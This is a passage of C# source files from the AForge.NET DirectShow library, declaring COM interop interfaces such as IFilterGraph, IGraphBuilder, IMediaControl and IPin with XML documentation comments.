/// <param name="filtersFetched">Actual number of filters placed in the array.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Next( [In] int cFilters,
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters,
[Out] out int filtersFetched );
/// <summary>
/// Skips a specified number of filters in the enumeration sequence.
/// </summary>
///
/// <param name="cFilters">Number of filters to skip.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Skip( [In] int cFilters );
/// <summary>
/// Resets the enumeration sequence to the beginning.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reset( );
/// <summary>
/// Makes a copy of the enumerator with the same enumeration state.
/// </summary>
///
/// <param name="enumFilters">Duplicate of the enumerator.</param>
///
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
///
[PreserveSig]
int Clone( [Out] out IEnumFilters enumFilters );
}
}

View File

@ -0,0 +1,68 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// Enumerates pins on a filter.
/// </summary>
///
[ComImport,
Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IEnumPins
{
/// <summary>
/// Retrieves a specified number of pins.
/// </summary>
///
/// <param name="cPins">Number of pins to retrieve.</param>
/// <param name="pins">Array of size <b>cPins</b> that is filled with <b>IPin</b> pointers.</param>
/// <param name="pinsFetched">Receives the number of pins retrieved.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Next( [In] int cPins,
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins,
[Out] out int pinsFetched );
/// <summary>
/// Skips a specified number of pins in the enumeration sequence.
/// </summary>
///
/// <param name="cPins">Number of pins to skip.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Skip( [In] int cPins );
/// <summary>
/// Resets the enumeration sequence to the beginning.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reset( );
/// <summary>
/// Makes a copy of the enumerator with the same enumeration state.
/// </summary>
///
/// <param name="enumPins">Duplicate of the enumerator.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Clone( [Out] out IEnumPins enumPins );
}
}

View File

@ -0,0 +1,113 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface provides methods for building a filter graph. An application can use it to add filters to
/// the graph, connect or disconnect filters, remove filters, and perform other basic operations.
/// </summary>
///
[ComImport,
Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IFilterGraph
{
/// <summary>
/// Adds a filter to the graph and gives it a name.
/// </summary>
///
/// <param name="filter">Filter to add to the graph.</param>
/// <param name="name">Name of the filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
/// <summary>
/// Removes a filter from the graph.
/// </summary>
///
/// <param name="filter">Filter to be removed from the graph.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RemoveFilter( [In] IBaseFilter filter );
/// <summary>
/// Provides an enumerator for all filters in the graph.
/// </summary>
///
/// <param name="enumerator">Filter enumerator.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumFilters( [Out] out IntPtr enumerator );
/// <summary>
/// Finds a filter that was added with a specified name.
/// </summary>
///
/// <param name="name">Name of filter to search for.</param>
/// <param name="filter">Interface of found filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
/// <summary>
/// Connects two pins directly (without intervening filters).
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
/// <param name="mediaType">Media type to use for the connection.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Breaks the existing pin connection and reconnects it to the same pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect and reconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reconnect( [In] IPin pin );
/// <summary>
/// Disconnects a specified pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Disconnect( [In] IPin pin );
/// <summary>
/// Sets the reference clock to the default clock.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetDefaultSyncSource( );
}
}

View File

@ -0,0 +1,257 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
/// <summary>
/// This interface extends the <see cref="IFilterGraph"/> and <see cref="IGraphBuilder"/>
/// interfaces, which contain methods for building filter graphs.
/// </summary>
///
[ComImport,
Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IFilterGraph2
{
// --- IFilterGraph Methods
/// <summary>
/// Adds a filter to the graph and gives it a name.
/// </summary>
///
/// <param name="filter">Filter to add to the graph.</param>
/// <param name="name">Name of the filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
/// <summary>
/// Removes a filter from the graph.
/// </summary>
///
/// <param name="filter">Filter to be removed from the graph.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RemoveFilter( [In] IBaseFilter filter );
/// <summary>
/// Provides an enumerator for all filters in the graph.
/// </summary>
///
/// <param name="enumerator">Filter enumerator.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumFilters( [Out] out IEnumFilters enumerator );
/// <summary>
/// Finds a filter that was added with a specified name.
/// </summary>
///
/// <param name="name">Name of filter to search for.</param>
/// <param name="filter">Interface of found filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
/// <summary>
/// Connects two pins directly (without intervening filters).
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
/// <param name="mediaType">Media type to use for the connection.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Breaks the existing pin connection and reconnects it to the same pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect and reconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reconnect( [In] IPin pin );
/// <summary>
/// Disconnects a specified pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Disconnect( [In] IPin pin );
/// <summary>
/// Sets the reference clock to the default clock.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetDefaultSyncSource( );
// --- IGraphBuilder methods
/// <summary>
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Connect( [In] IPin pinOut, [In] IPin pinIn );
/// <summary>
/// Adds a chain of filters to a specified output pin to render it.
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Render( [In] IPin pinOut );
/// <summary>
/// Builds a filter graph that renders the specified file.
/// </summary>
///
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
/// <param name="playList">Reserved.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderFile(
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
[In, MarshalAs( UnmanagedType.LPWStr )] string playList );
/// <summary>
/// Adds a source filter to the filter graph for a specific file.
/// </summary>
///
/// <param name="fileName">Specifies the name of the file to load.</param>
/// <param name="filterName">Specifies a name for the source filter.</param>
/// <param name="filter">Variable that receives the interface of the source filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddSourceFilter(
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
[Out] out IBaseFilter filter );
/// <summary>
/// Sets the file for logging actions taken when attempting to perform an operation.
/// </summary>
///
/// <param name="hFile">Handle to the log file.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetLogFile( IntPtr hFile );
/// <summary>
/// Requests that the graph builder return as soon as possible from its current task.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Abort( );
/// <summary>
/// Queries whether the current operation should continue.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ShouldOperationContinue( );
// --- IFilterGraph2 methods
/// <summary>
///
/// </summary>
///
/// <param name="moniker">Moniker interface.</param>
/// <param name="bindContext">Bind context interface.</param>
/// <param name="filterName">Name for the filter.</param>
/// <param name="filter"> Receives source filter's IBaseFilter interface.
/// The caller must release the interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddSourceFilterForMoniker(
[In] IMoniker moniker,
[In] IBindCtx bindContext,
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
[Out] out IBaseFilter filter
);
/// <summary>
/// Breaks the existing pin connection and reconnects it to the same pin,
/// using a specified media type.
/// </summary>
///
/// <param name="pin">Pin to disconnect and reconnect.</param>
/// <param name="mediaType">Media type to reconnect with.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ReconnectEx(
[In] IPin pin,
[In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType
);
/// <summary>
/// Render an output pin, with an option to use existing renderers only.
/// </summary>
///
/// <param name="outputPin">Interface of the output pin.</param>
/// <param name="flags">Flag that specifies how to render the pin.</param>
/// <param name="context">Reserved.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderEx(
[In] IPin outputPin,
[In] int flags,
[In] IntPtr context
);
}
}

View File

@ -0,0 +1,198 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface provides methods that enable an application to build a filter graph.
/// </summary>
///
[ComImport,
Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IGraphBuilder
{
// --- IFilterGraph Methods
/// <summary>
/// Adds a filter to the graph and gives it a name.
/// </summary>
///
/// <param name="filter">Filter to add to the graph.</param>
/// <param name="name">Name of the filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
/// <summary>
/// Removes a filter from the graph.
/// </summary>
///
/// <param name="filter">Filter to be removed from the graph.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RemoveFilter( [In] IBaseFilter filter );
/// <summary>
/// Provides an enumerator for all filters in the graph.
/// </summary>
///
/// <param name="enumerator">Filter enumerator.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumFilters( [Out] out IEnumFilters enumerator );
/// <summary>
/// Finds a filter that was added with a specified name.
/// </summary>
///
/// <param name="name">Name of filter to search for.</param>
/// <param name="filter">Interface of found filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
/// <summary>
/// Connects two pins directly (without intervening filters).
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
/// <param name="mediaType">Media type to use for the connection.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Breaks the existing pin connection and reconnects it to the same pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect and reconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Reconnect( [In] IPin pin );
/// <summary>
/// Disconnects a specified pin.
/// </summary>
///
/// <param name="pin">Pin to disconnect.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Disconnect( [In] IPin pin );
/// <summary>
/// Sets the reference clock to the default clock.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetDefaultSyncSource( );
// --- IGraphBuilder methods
/// <summary>
/// Connects two pins. If they will not connect directly, this method connects them with intervening transforms.
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
/// <param name="pinIn">Input pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Connect( [In] IPin pinOut, [In] IPin pinIn );
/// <summary>
/// Adds a chain of filters to a specified output pin to render it.
/// </summary>
///
/// <param name="pinOut">Output pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Render( [In] IPin pinOut );
/// <summary>
/// Builds a filter graph that renders the specified file.
/// </summary>
///
/// <param name="file">Specifies a string that contains file name or device moniker.</param>
/// <param name="playList">Reserved.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderFile(
[In, MarshalAs( UnmanagedType.LPWStr )] string file,
[In, MarshalAs( UnmanagedType.LPWStr )] string playList);
/// <summary>
/// Adds a source filter to the filter graph for a specific file.
/// </summary>
///
/// <param name="fileName">Specifies the name of the file to load.</param>
/// <param name="filterName">Specifies a name for the source filter.</param>
/// <param name="filter">Variable that receives the interface of the source filter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddSourceFilter(
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
[In, MarshalAs( UnmanagedType.LPWStr )] string filterName,
[Out] out IBaseFilter filter );
/// <summary>
/// Sets the file for logging actions taken when attempting to perform an operation.
/// </summary>
///
/// <param name="hFile">Handle to the log file.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetLogFile( IntPtr hFile );
/// <summary>
/// Requests that the graph builder return as soon as possible from its current task.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Abort( );
/// <summary>
/// Queries whether the current operation should continue.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ShouldOperationContinue( );
}
}

View File

@ -0,0 +1,118 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface provides methods for controlling the flow of data through the filter graph.
/// It includes methods for running, pausing, and stopping the graph.
/// </summary>
///
[ComImport,
Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsDual )]
internal interface IMediaControl
{
/// <summary>
/// Runs all the filters in the filter graph.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Run( );
/// <summary>
/// Pauses all filters in the filter graph.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Pause( );
/// <summary>
/// Stops all the filters in the filter graph.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Stop( );
/// <summary>
/// Retrieves the state of the filter graph.
/// </summary>
///
/// <param name="timeout">Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out.</param>
/// <param name="filterState">Ìariable that receives a member of the <b>FILTER_STATE</b> enumeration.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetState( int timeout, out int filterState );
/// <summary>
/// Builds a filter graph that renders the specified file.
/// </summary>
///
/// <param name="fileName">Name of the file to render</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RenderFile( string fileName );
/// <summary>
/// Adds a source filter to the filter graph, for a specified file.
/// </summary>
///
/// <param name="fileName">Name of the file containing the source video.</param>
/// <param name="filterInfo">Receives interface of filter information object.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo );
/// <summary>
/// Retrieves a collection of the filters in the filter graph.
/// </summary>
///
/// <param name="collection">Receives the <b>IAMCollection</b> interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_FilterCollection(
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
/// <summary>
/// Retrieves a collection of all the filters listed in the registry.
/// </summary>
///
/// <param name="collection">Receives the <b>IDispatch</b> interface of <b>IAMCollection</b> object.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int get_RegFilterCollection(
[Out, MarshalAs( UnmanagedType.IDispatch )] out object collection );
/// <summary>
/// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int StopWhenReady( );
}
}

View File

@ -0,0 +1,126 @@
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2011
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The interface inherits contains methods for retrieving event notifications and for overriding the
/// filter graph's default handling of events.
/// </summary>
[ComVisible( true ), ComImport,
Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ),
InterfaceType( ComInterfaceType.InterfaceIsDual )]
internal interface IMediaEventEx
{
/// <summary>
/// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications.
/// </summary>
/// <param name="hEvent">Pointer to a variable that receives the event handle.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetEventHandle( out IntPtr hEvent );
/// <summary>
/// Retrieves the next event notification from the event queue.
/// </summary>
///
/// <param name="lEventCode">Variable that receives the event code.</param>
/// <param name="lParam1">Pointer to a variable that receives the first event parameter.</param>
/// <param name="lParam2">Pointer to a variable that receives the second event parameter.</param>
/// <param name="msTimeout">Time-out interval, in milliseconds.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout );
/// <summary>
/// Waits for the filter graph to render all available data.
/// </summary>
///
/// <param name="msTimeout">Time-out interval, in milliseconds. Pass zero to return immediately.</param>
/// <param name="pEvCode">Pointer to a variable that receives an event code.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int WaitForCompletion( int msTimeout, [Out] out int pEvCode );
/// <summary>
/// Cancels the Filter Graph Manager's default handling for a specified event.
/// </summary>
///
/// <param name="lEvCode">Event code for which to cancel default handling.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int CancelDefaultHandling( int lEvCode );
/// <summary>
/// Restores the Filter Graph Manager's default handling for a specified event.
/// </summary>
/// <param name="lEvCode">Event code for which to restore default handling.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int RestoreDefaultHandling( int lEvCode );
/// <summary>
/// Frees resources associated with the parameters of an event.
/// </summary>
/// <param name="lEvCode">Event code.</param>
/// <param name="lParam1">First event parameter.</param>
/// <param name="lParam2">Second event parameter.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 );
/// <summary>
/// Registers a window to process event notifications.
/// </summary>
///
/// <param name="hwnd">Handle to the window, or <see cref="IntPtr.Zero"/> to stop receiving event messages.</param>
/// <param name="lMsg">Window message to be passed as the notification.</param>
/// <param name="lInstanceData">Value to be passed as the <i>lParam</i> parameter for the <i>lMsg</i> message.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData );
/// <summary>
/// Enables or disables event notifications.
/// </summary>
///
/// <param name="lNoNotifyFlags">Value indicating whether to enable or disable event notifications.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int SetNotifyFlags( int lNoNotifyFlags );
/// <summary>
/// Determines whether event notifications are enabled.
/// </summary>
///
/// <param name="lplNoNotifyFlags">Variable that receives current notification status.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int GetNotifyFlags( out int lplNoNotifyFlags );
}
}

View File

@ -0,0 +1,191 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// This interface is exposed by all input and output pins of DirectShow filters.
/// </summary>
///
[ComImport,
Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IPin
{
/// <summary>
/// Connects the pin to another pin.
/// </summary>
///
/// <param name="receivePin">Other pin to connect to.</param>
/// <param name="mediaType">Type to use for the connections (optional).</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Makes a connection to this pin and is called by a connecting pin.
/// </summary>
///
/// <param name="receivePin">Connecting pin.</param>
/// <param name="mediaType">Media type of the samples to be streamed.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Breaks the current pin connection.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Disconnect( );
/// <summary>
/// Returns a pointer to the connecting pin.
/// </summary>
///
/// <param name="pin">Receives <b>IPin</b> interface of connected pin (if any).</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectedTo( [Out] out IPin pin );
/// <summary>
/// Returns the media type of this pin's connection.
/// </summary>
///
/// <param name="mediaType">Pointer to an <see cref="AMMediaType"/> structure. If the pin is connected,
/// the media type is returned. Otherwise, the structure is initialized to a default state in which
/// all elements are 0, with the exception of <b>lSampleSize</b>, which is set to 1, and
/// <b>FixedSizeSamples</b>, which is set to <b>true</b>.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Retrieves information about this pin (for example, the name, owning filter, and direction).
/// </summary>
///
/// <param name="pinInfo"><see cref="PinInfo"/> structure that receives the pin information.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryPinInfo( [Out] out PinInfo pinInfo );
/// <summary>
/// Retrieves the direction for this pin.
/// </summary>
///
/// <param name="pinDirection">Receives direction of the pin.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryDirection( out PinDirection pinDirection );
/// <summary>
/// Retrieves an identifier for the pin.
/// </summary>
///
/// <param name="id">Pin identifier.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id );
/// <summary>
/// Queries whether a given media type is acceptable by the pin.
/// </summary>
///
/// <param name="mediaType"><see cref="AMMediaType"/> structure that specifies the media type.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
/// <summary>
/// Provides an enumerator for this pin's preferred media types.
/// </summary>
///
/// <param name="enumerator">Address of a variable that receives a pointer to the <b>IEnumMediaTypes</b> interface.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EnumMediaTypes( IntPtr enumerator );
/// <summary>
/// Provides an array of the pins to which this pin internally connects.
/// </summary>
///
/// <param name="apPin">Address of an array of <b>IPin</b> pointers.</param>
/// <param name="nPin">On input, specifies the size of the array. When the method returns,
/// the value is set to the number of pointers returned in the array.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin );
/// <summary>
/// Notifies the pin that no additional data is expected.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EndOfStream( );
/// <summary>
/// Begins a flush operation.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int BeginFlush( );
/// <summary>
/// Ends a flush operation.
/// </summary>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int EndFlush( );
/// <summary>
/// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate.
/// </summary>
///
/// <param name="start">Start time of the segment, relative to the original source, in 100-nanosecond units.</param>
/// <param name="stop">End time of the segment, relative to the original source, in 100-nanosecond units.</param>
/// <param name="rate">Rate at which this segment should be processed, as a percentage of the original rate.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int NewSegment(
long start,
long stop,
double rate );
}
}

View File

@ -0,0 +1,53 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2007
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The <b>IPropertyBag</b> interface provides an object with a property bag in
/// which the object can persistently save its properties.
/// </summary>
///
[ComImport,
Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ),
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
internal interface IPropertyBag
{
/// <summary>
/// Read a property from property bag.
/// </summary>
///
/// <param name="propertyName">Property name to read.</param>
/// <param name="pVar">Property value.</param>
/// <param name="pErrorLog">Caller's error log.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Read(
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
[In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar,
[In] IntPtr pErrorLog );
/// <summary>
/// Write property to property bag.
/// </summary>
///
/// <param name="propertyName">Property name to read.</param>
/// <param name="pVar">Property value.</param>
///
/// <returns>Return's <b>HRESULT</b> error code.</returns>
///
[PreserveSig]
int Write(
[In, MarshalAs( UnmanagedType.LPWStr )] string propertyName,
[In, MarshalAs( UnmanagedType.Struct )] ref object pVar );
}
}

View File

@ -0,0 +1,87 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © Andrew Kirillov, 2010
// andrew.kirillov@gmail.com
//
// Written by Jeremy Noring
// kidjan@gmail.com
//
namespace AForge.Video.DirectShow.Internals
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// The IReferenceClock interface provides the reference time for the filter graph.
///
/// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock.
/// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to
/// retrieve the current reference time, or to request notification of an elapsed time.
/// </summary>
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ),
